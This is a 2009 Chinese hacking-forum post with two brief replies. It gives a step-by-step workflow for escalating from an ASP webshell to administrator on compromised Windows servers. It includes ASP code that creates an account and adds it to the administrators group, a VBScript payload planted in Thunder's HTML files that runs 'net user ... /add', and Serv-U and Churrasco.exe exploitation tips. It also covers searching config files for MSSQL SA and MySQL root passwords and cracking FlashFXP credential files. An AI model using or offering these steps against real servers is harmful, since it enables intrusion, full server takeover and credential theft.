标题:
ASP SHELL提权流程详解
[打印本页]
作者:
enterer
时间:
2009-11-9 21:41
标题:
ASP SHELL提权流程详解
ASP SHELL
提权流程详解
文章作者
enterer
博客
www.enterer.cn
转载请保留
呵呵,本文应该是《
asp webshell
权限总结》的继续了吧。
文章导读:
本篇文章你可以看到
1.
本人提权经验与技巧
2.
提权服务器的自己总结的流程
拿到
webshell
,确定了是什么权限的,那么提权就可以开始了。
1.
首先是最简单的
system
权限下直接添加账号,和普通的
CMD
命令没有什么区别。这种机会还是很少的,基本我就遇到过
2
,
3
次。
此处提权失败进入
2.
还有一个特别的,用
asp
代码来提权,不过几率更小,在提权刚开始可以试一试。
也不知道在什么环境下的
代码如下,这个也是网上找到的
<%
Set onlineServer=GetObject("WinNT://127.0.0.1")
Set newuser=onlineServer.Create("user","enterer")
NewUser.SetPassword "123456"
NewUser.FullName="enterer test"
NewUser.Description="enterer's example"
NewUser.Setinfo
Set oDomain=GetObject("WinNT://"&"127.0.0.1")
Set oGroup=oDomain.GetObject("Group","administrators")
oGroup.Add ("winnt://enterer")
Response.Write "
用户
enterer
添加成功
"
Response.Write("<BR>")
Response.Write "
用户
enterer
已经被添加到管理员组
"
Set oDomain=Nothing
Set oGroup=Nothing
%>
Enterer
是账号
123456
是密码
2.
下意识的使用
shell
自带的提权功能,全部都测试一遍。
Serv_U
,
pcAnywhere
,
Radmin
密码读取等
可能会成功的哦,我第一次就是用了
SU
提权成功的,当时连提权的原理都不知道。
此处提权失败进入
3.
3.
然后观察
shell
上的信息,如果在查询管理了出现什么
xxx$
的账号,那么很有可能服务器就已经被其他的黑客提权成功了。
测试服务器是否支持
php
,
aspx
,这个两个
shell
的权限都比
asp
的大。(提权的方法都差不多,但是权限愈大机会愈大)支持的话最好用
aspx
的
shell
来提权,
aspx
的权限等同于
user
。
查看服务器安装了什么软件,杀毒软件安装的话提取可能会失败(貌似麦咖啡有防溢出);
迅雷和搜狗最新也爆出提权的方法;安装了
mssql
或者
mysql
可以用数据库提权;
su
的话最好了有修改权限的话就可以直接加个
ftp
的
system
权限进去提权;
FlashFXP
的话下载
Sites.dat quick.dat Stats.dat
用软件破解密码或者直接覆盖本地的,然后直接连接,用以扩大战果;
Gen6
据说也能提权,不过没试过;
Magic Winmail
大概也可以提权,不过我也没有试过。
不过很多课程都介绍反弹
NC
提权,替换系统服务提权,写入启动项提权,
perl
提权。反正我是没成功过,
NC
由于我是内网就没试过,不过反弹的话能把
guest
的
shell
反弹个
system
权限过来吗,估计也是不可能。替换系统服务,没试过,不知道怎么找,我也没耐心,况且
shell
有往
windows\system32
里写入的权限还不得而知。启动项一样的,有次我用
su
往启动项里
echo
写加管理员的代码都没有成功。
Perl
提权,这个也太
RP
了吧,貌似必须是要启用什么
GUI
,我也是一次没试过。
然后来端口扫描,看看开了什么端口
3389
远程桌面
1433 mssql
3306 mysql
43958 SU
等等
看到
43958
就偷笑吧
提权进入
4.
4.
用
ftp
域名
来确认使用的是什么
ftp
软件,一般来说安装了
Serv_U
的服务器就有很大的机会提权。版本越低,成功率越高。如果是
su
版本在
6.3
以下,即使改了默认的密码
SU7.X,8.X
都有提权脚本,
SU9.X
最近又爆出提权的漏洞了。一般来说
SU
提权成功占提权成功的
60%
以上。具体的可以看我的文章《一次
su
提权的失败》,虽然失败了,但是详细介绍了
SU
提权的各种方法。
此处提权失败进入
5.
5.
利用巴西烤肉提权。估计很多人都不知道巴西烤肉是什么东西,就是
Churrasco.exe
这个文件,网上一搜有很多下载。这个是利用系统的漏洞进行溢出提权,基本提权成功
20%
以上。
如果使用这个提权没有回显或者反应很慢,就基本表示提权失败了。
提权的方法是在
CMD
命令一行里输入
C:\recycler\1.exe
空格“
CMD
命令”,
1.exe
就是巴西烤肉,成功率也和
RP
有关。
此处提权失败后提权的机会就比较小了。
此处提权失败进入
6.
6.
查找
conn.asp webconfig.asp
等文件查找
mssql
的
SA
密码,和查找
inc.php
等文件查找
mysql
的
root
密码
这两种方法都有提权的机会。
查找的方法在《第一次
mssql
提权里有介绍》,那个是利用
aspx
的一个功能来实现的。现在来介绍两个在
asp
环境下的查找方法。
第一个是利用
CMD
命令
dir /s d:\conn.asp
或者
dir /s d:\*inc*.php
来查找配置文件。这个
CMD
命令就等于搜索的意思,搜索
d
盘下的全部
conn.asp
文件。或者你知道网站用的
CMS
,可以搜索这个
CMS
名称加上数据库配置文件位置。当然,文件比较多的话,回显就比较慢
第二个是利用一个
VBS
,来查询服务器里全部网站的路径,用这个方法也可以找到配置文件
VBS
代码这个是有次入侵服务器得到的,貌似部分可以用,可以显示网站的路径。
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
7.
基本提权就这些流程了,还可以用软件的漏洞来提权,例如搜狗是替换掉
PinyinUp.exe
来提权。迅雷是在安装目录下的
geturl.htm getAllurl.htm
里面加入代码进行提权,其实也很渺茫。
<script language="VBScript">
Set vbs=CreateObject("Wscript.Shell")
vbs.run "cmd /c net user
用户名
密码
/add",0
vbs.run "cmd /c net localgroup administrators
用户名
/add",0
</script>
8.
社工的提权还没用过,太
XE
了就不介绍了。
文章可能会有一些错误,欢迎大家来批评。
作者:
远洋方舟
时间:
2010-5-21 13:19
菜鸟来看点基础的东西
作者:
12公分
时间:
2010-6-11 11:07
不错,受益匪浅...
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2